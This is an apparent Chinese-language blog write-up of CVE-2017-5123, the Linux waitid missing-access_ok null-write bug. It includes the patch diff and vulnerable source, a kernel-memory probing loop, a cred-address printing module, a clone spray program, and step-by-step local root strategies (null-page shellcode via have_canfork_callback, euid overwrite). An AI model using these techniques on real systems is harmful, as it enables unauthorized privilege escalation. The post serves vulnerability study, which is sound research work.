美文网首页
【kernel exploit】CVE-2017-5123 nu

【kernel exploit】CVE-2017-5123 nu

作者: bsauce | 来源:发表于2021-05-31 21:10 被阅读0次

    影响版本:小于Linux v4.14-rc5。Linux v4.14-rc5 和 Linux v4.14.1已修补,Linux v4.14-rc4未修补。

    测试版本:Linux v4.14-rc4 测试环境下载地址

    编译选项CONFIG_SLAB=y

    General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

    在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

    $ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.14-rc4.tar.xz
    $ tar -xvf linux-4.14-rc4.tar.xz
    # KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
    $ make -j32
    $ make all
    $ make modules
    # 编译出的bzImage目录:/arch/x86/boot/bzImage。
    

    漏洞描述/kernel/exit.c中的waitid的实现,在调用unsafe_put_user()将内核数据拷贝到用户空间地址时,没有调用access_ok()检测用户空间地址的合法性,导致实际可以往内核空间地址拷贝数据。 waitid未检测用户地址合法性 导致 null 任意地址写

    补丁漏洞引入 patch exp1 exp2 exp3

    diff --git a/kernel/exit.c b/kernel/exit.c
    index f2cd53e92147c..cf28528842bcf 100644
    --- a/kernel/exit.c
    +++ b/kernel/exit.c
    @@ -1610,6 +1610,9 @@ SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        if (!infop)
            return err;
     
    +   if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
    +       goto Efault;
    +
        user_access_begin();
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
    @@ -1735,6 +1738,9 @@ COMPAT_SYSCALL_DEFINE5(waitid,
        if (!infop)
            return err;
     
    +   if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
    +       goto Efault;
    +
        user_access_begin();
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
    

    保护机制:开启SMEP / SMAP,未开启KASLR。

    利用总结

    • 方法一:通过覆盖fork()函数中的have_canfork_callback变量,构造空指针引用,执行0地址处预先布置的shellcode提权。缺点是需修改mmap_min_addr,并关闭SMEP防护。
    • 方法二:通过猜测cred地址的范围,覆写uid提权,缺点是成功率不高。可开启SMEP/SMAP防护。

    想法:能否利用这种null写 等限制很严的 漏洞,在内核中覆盖一个自旋锁,用来创建竞争条件。创造竞争漏洞?

    一、漏洞介绍

    漏洞源码waitid() 未调用 access_ok() 来检查地址是否属于用户空间,就调用unsafe_put_user()向用户空间拷贝数据,我们可以写1个空字节到任意地址。 struct siginfo __user *infop 由用户提供,所以用户可以使用infop来指定内核地址,如果能将空字节写入cred.uid,就能提权。

    SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
            infop, int, options, struct rusage __user *, ru)
    {
        struct rusage r;
        struct waitid_info info = {.status = 0};
        long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
        int signo = 0;
    
        if (err > 0) {
            signo = SIGCHLD;
            err = 0;
            if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
                return -EFAULT;
        }
        if (!infop)
            return err;
    
        user_access_begin();        // 实际调用 stac(), 暂时关闭SMAP(本质是设置 EFLAGS.AC, 便于对用户数据进行读写)
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);   // !!!!!  漏洞点: 写一个空字节到一个可控的任意地址。
        unsafe_put_user(info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_access_end();          // 实际调用 clac(). 重新开启SMAP
        return err;
    Efault:
        user_access_end();
        return -EFAULT;
    }
    
    #define unsafe_put_user(x, ptr, err_label)                    \
    do {                                        \
        int __pu_err;                                \
        __typeof__(*(ptr)) __pu_val = (x);                    \
        __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);    \
        if (unlikely(__pu_err)) goto err_label;                    \
    } while (0)
    // access_ok(): 检查地址是否属于用户空间。
    /*
    1.user_addr_max() 获得了 current->thread.addr_limit.seg 作为用户态地址的边界。
    2.__chk_user_ptr 检查我们的参数 addr 是否是指向用户态的
    3.__range_not_ok 检查 addr + size 和 limit 的大小关系,即addr + size 是否也指向用户态
    */
    #define access_ok(type, addr, size)                    \
    ({                                    \
        WARN_ON_IN_IRQ();                        \
        likely(!__range_not_ok(addr, size, user_addr_max()));        \
    })
    

    二、漏洞利用

    利用思路

    • 1.堆喷:大量的进行fork()创建进程,每个进程都会对应一个cred结构体,然后任意写某一个进程cred的uid,之后 getuid() 检测是否有哪一个进程的uid被清零(提权)。
    • 2.ret2dir:首先找到用户区域和内核区域对应的physmap的地址,在physmap中写payload,然后找到内核对应的physmap的虚拟地址,最后把内核态的执行流劫持到内核对应的physmap地址上。
    • 3.通过爆破struct file 的地址,然后找到file结构体中指向当前的cred结构体的指针,接下来直接任意写当前的cred结构体。
    • 4.利用覆写have_canfork_callback触发空指针引用fork()提权。0地址shellcode配合空指针引用提权。
    • 5.在内核数据段找到一个对象,其索引/大小/值为零将导致超出内存访问边界;
    • 6.在内核中覆盖一个自旋锁,用来创建竞争条件;(这个思路很新颖)
    • 7.尝试覆盖内核堆栈上的基址指针或其他值;
    • 8.触发可能导致在内核堆栈上创建有用结构的操作,看看是否可以用任意写入的0命中对象。

    1. 方法一:执行shellcode

    局限:需要修改mmap_min_addr,且无法绕过SMEP防护,实测时发现SMAP也得关闭。

    代码分析

    对于如下调用流:fork() -> _do_fork() -> copy_process() (1832L) -> cgroup_can_fork() -> do_each_subsys_mask()

    // (1) copy_process() —— 为子进程复制一份进程信息
    fork()
        _do_fork()
            copy_process()
                    /*
                     * Ensure that the cgroup subsystem policies allow the new process to be
                     * forked. It should be noted the the new process's css_set can be changed
                     * between here and cgroup_post_fork() if an organisation operation is in
                     * progress.
                     */
                    retval = cgroup_can_fork(p);        //判断cgroup是否允许新的进程被fork?
    // (2) cgroup_can_fork()
    int cgroup_can_fork(struct task_struct *child)
    {
        struct cgroup_subsys *ss;
        int i, j, ret;
        do_each_subsys_mask(ss, i, have_canfork_callback) {     // <-----------
            ret = ss->can_fork(child);                          // !!!!!!!!!!!!
            if (ret)
                goto out_revert;
        } while_each_subsys_mask();
        ......
    }
    // (3) do_each_subsys_mask() —— 这里 ss_mask 就是 have_canfork_callback 。ss 是未初始化的 struct cgroup_subsys 指针。CGROUP_SUBSYS_COUNT 为0
    #define do_each_subsys_mask(ss, ssid, ss_mask) do {         \
        unsigned long __ss_mask = (ss_mask);                \
        if (!CGROUP_SUBSYS_COUNT) { /* to avoid spurious gcc warning */ \
            (ssid) = 0;                     \
            break;                          \
        }                               \
        for_each_set_bit(ssid, &__ss_mask, CGROUP_SUBSYS_COUNT) {   \   // <------------
            (ss) = cgroup_subsys[ssid];             \
            {
    
    #define while_each_subsys_mask()                    \
            }                           \
        }                               \
    } while (false)
    
    // (4) for_each_set_bit() —— 在范围内,查找所有的被置位的bit。返回的是位图 have_canfork_callback 中小于 CGROUP_SUBSYS_COUNT 的最后一个被置位的bit的位置(在上层函数中就是ssid)。      然后将其作为数组下标,获取 cgroup_subsys[ssid] 处的值赋给 ss。
    // find_first_bit 在位图中查找第一个为1的bit位; find_next_bit 在查找范围内,从bit+1开始,接着找第一个为1的bit位; 
    #define for_each_set_bit(bit, addr, size) \
        for ((bit) = find_first_bit((addr), (size));        \
             (bit) < (size);                    \
             (bit) = find_next_bit((addr), (size), (bit) + 1))
    

    最后在cgroup_can_fork()会调用 ret = ss->can_fork(child)cgroup_subsys是一个虚函数表。

    struct cgroup_subsys {
        struct cgroup_subsys_state *(*css_alloc)(struct cgroup_subsys_state *parent_css);
        int (*css_online)(struct cgroup_subsys_state *css);
        void (*css_offline)(struct cgroup_subsys_state *css);
        void (*css_released)(struct cgroup_subsys_state *css);
        void (*css_free)(struct cgroup_subsys_state *css);
        void (*css_reset)(struct cgroup_subsys_state *css);
     
        int (*can_attach)(struct cgroup_taskset *tset);
        void (*cancel_attach)(struct cgroup_taskset *tset);
        void (*attach)(struct cgroup_taskset *tset);
        void (*post_attach)(void);
        int (*can_fork)(struct task_struct *task);                    // can_fork() 偏移0x50
        void (*cancel_fork)(struct task_struct *task);
        void (*fork)(struct task_struct *task);
        void (*exit)(struct task_struct *task);
        void (*free)(struct task_struct *task);
        void (*bind)(struct cgroup_subsys_state *root_css);
        ......
    

    找到 have_canfork_callback 位图中小于CGROUP_SUBSYS_COUNT的、最后一个被置位的bit位(即ssid),且ssid要小于等于CGROUP_SUBSYS_COUNT(调试时发现其值为0xb),然后返回ss=cgroup_subsys[ssid],跳转到 ss->can_forkcgroup_subsys初始化点 所以只有ssid<=0xb才会调用ss->can_forkssid>0xb程序会直接返回。

    方法:本漏洞能够进行任意内存写,将第一个int写为0x11,第二个int写为0。如果我们将have_canfork_callback的第一个字节改为0x11,for_each_set_bit()返回0,就会返回一个空的cgroup_subsys表,cgroup_subsys->can_fork也为NULL。最后调用执行0地址处的代码,在0地址上放置shellcode,就能在0地址上执行shellcode。

    利用步骤

    • (1)0地址处放置shellcode,也即jmp 0x8, 跳转到 get_root()
    • (2)waitid触发漏洞,修改 *have_canfork_callback 的第1字节为 0x11;
    • (3)调用 fork, 会调用未初始化的 cgroup_subsys->can_fork , 执行0地址处的代码。

    问题:由于内核从2.6.22版本开始,可以使用sysctl设置mmap_min_addr来防止用户层映射0地址。从Ubuntu 9.04开始,mmap_min_addr设置被内置到内核中(x86为64k,ARM为32k)。只有root用户才能做0地址映射(mmap() -> do_mmap() -> get_unmmapped_area() -> cap_capable()会检查进程的权限)。需在内核启动脚本中调用$ sysctl -w vm.mmap_min_addr=0关闭该保护。

    测试截图:exp程序见exp_null_ptr.c。感觉利用成功了,但只要执行命令就会报错BUG: unable to handle kernel NULL pointer dereference。和 这里 的问题一样,原因不明。

    1-result.png

    2. 方法二 :null任意写覆盖cred提权

    参考 Exploiting CVE-2017-5123

    局限:需要猜测cred地址的范围,实际上有不确定性。

    内存探测waitid()在非法内存访问时不会崩溃,而是返回错误代码,初衷是为了避免DoS攻击。基于此,也可以进行内存的爆破or探测。(-EFAULT)

    // 内存探测,检查内核哪些地址是有效的
    for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
        pid = fork();
        if (pid > 0) 
        {
            if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
            {
                printf("[+] Found %p\n", i);
                break;
            }
        }
        else if (pid == 0)
            exit(0);
    }
    

    利用步骤

    • (1)使用clone()函数创建多个轻量级process,那么内核中会存在许多的cred结构体。
    • (2)这些进程不断调用geteuid(),如果返回0,则表示该进程成功提权。
    • (3)父进程调用waitid()触发漏洞,对猜测的cred范围覆盖为null。

    clone()介绍linux的Clone()函数详解

    • int clone(int (*func)(void*),void *child_stack,int flags,void *func_arg,....);

    • 类似于fork()vfork(),Linux特有的系统调用clone()也能创建一个新线程。与前两者不同的是,后者在进程创建期间对步骤的控制更为准确。

    • func参数——与fork()不同的是,克隆生成的子进程继续运行时不以调用处为起点,转而去调用以参数func所指定的函数,func又称为子函数,子函数的参数由 func_arg 指定。当函数func返回或者是调用exit()(或者_exit())之后,克隆产生的子进程就会终止。父进程可以通过wait()一类函数来等待克隆子进程。

    • child_stack参数——因为克隆产生的子进程可能共享父进程内存,所以它不能使用父进程的栈。相反,调用者必须分配一块大小适中的内存空间供子进程的栈使用,同时将这块内存的指针置于参数child_stack中。

    • flags参数:其低字节中存放着子进程的终止信号,子进程退出时其父进程将收到这一信号。表示掩码的组合,例如,CLONE_VM——子进程与父进程运行于相同的内存空间;CLONE_FILES——子进程与父进程共享相同的文件描述符(file descriptor)表。

    euid介绍:uid代表进程的创建者(属于哪个用户创建);euid表示进程对于文件和资源的访问权限(等同于哪个用户的权限)。exp在劫持了euid之后调用setuid(0),因为如果原来的euid==0,则该函数将会设置所有的id都等于新的id,否则,只设置euid。参考 所以说,只需要覆盖euid,然后调用setuid(0)即可?

    cred地址范围:观察每个进程中,cred结构体euid的地址。采用如下驱动来打印cred->euid的地址,通过程序中不断open('proc/jif'),然后$ dmesg | grep EUID\:查看打印结果。

    // jif 驱动: 打印 cred->euid 地址
    #include <linux/module.h>
    #include <linux/init.h>
    #include <linux/kernel.h>
    #include <linux/sched.h>
    #include <linux/fs.h>        // for basic filesystem
    #include <linux/proc_fs.h>    // for the proc filesystem
    #include <linux/seq_file.h>    // for sequence files
    
    static struct proc_dir_entry* jif_file;
    
    static int
    jif_show(struct seq_file *m, void *v)
    {
        return 0;
    }
    
    static int
    jif_open(struct inode *inode, struct file *file)
    {
         printk("EUID: %p\n", &current->cred->euid);
         return single_open(file, jif_show, NULL);
    }
    
    static const struct file_operations jif_fops = {
        .owner    = THIS_MODULE,
        .open    = jif_open,
        .read    = seq_read,
        .llseek    = seq_lseek,
        .release    = single_release,
    };
    
    static int __init
    jif_init(void)
    {
        jif_file = proc_create("jif", 0, NULL, &jif_fops);
    
        if (!jif_file) {
            return -ENOMEM;
        }
    
        return 0;
    }
    
    static void __exit
    jif_exit(void)
    {
        remove_proc_entry("jif", NULL);
    }
    
    module_init(jif_init);
    module_exit(jif_exit);
    
    MODULE_LICENSE("GPL");
    
    // test.c
    // 问题:本程序和实际的exp中输出的euid地址范围不同,还是以实际的exp为准
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <sys/mman.h>
    #include <sys/wait.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sched.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <sys/syscall.h>
    #include <sys/wait.h>
    #include <errno.h>
    #include <asm/unistd_64.h>
    #define STACK_SIZE 4096
    
    int spray()
    {
        int fd = open("/proc/jif", O_RDWR);
        close(fd);
    }
    
    int main()
    {
        int i, fd, ret;
        pid_t pid;
        for (i=0; i<50; i++)
        {
            void *stack=malloc(STACK_SIZE);
            pid = clone(spray,stack,CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD,NULL);
            sleep(0.1);
        }
        return 0;
    }
    

    测试截图:exp程序见exp_cred.c。感觉利用成功率不高。

    2-result.png

    参考

    Linux内核[CVE-2017-5123] waitid

    [原创]CVE-2017-5123 waitid本地提权分析 ——利用1:修改fork()have_canfork_callback中首字节,执行0地址处的shellcode

    Exploiting CVE-2017-5123 —— 利用2:通过覆盖cred,可以绕过KASLR

    CVE-2017-5123 waitid分析 利用代码 —— 利用3:关闭SELinux

    Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox! exp —— 利用4:可以绕过chrome沙箱

    CVE-2017-5123 漏洞利用全攻略 —— 各种利用思路

    CVE-2017-5123复现

    CVE-2017-5123复现

    Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation

    相关文章

      网友评论

          本文标题:【kernel exploit】CVE-2017-5123 nu

          本文链接:https://www.haomeiwen.com/subject/gvxisltx.html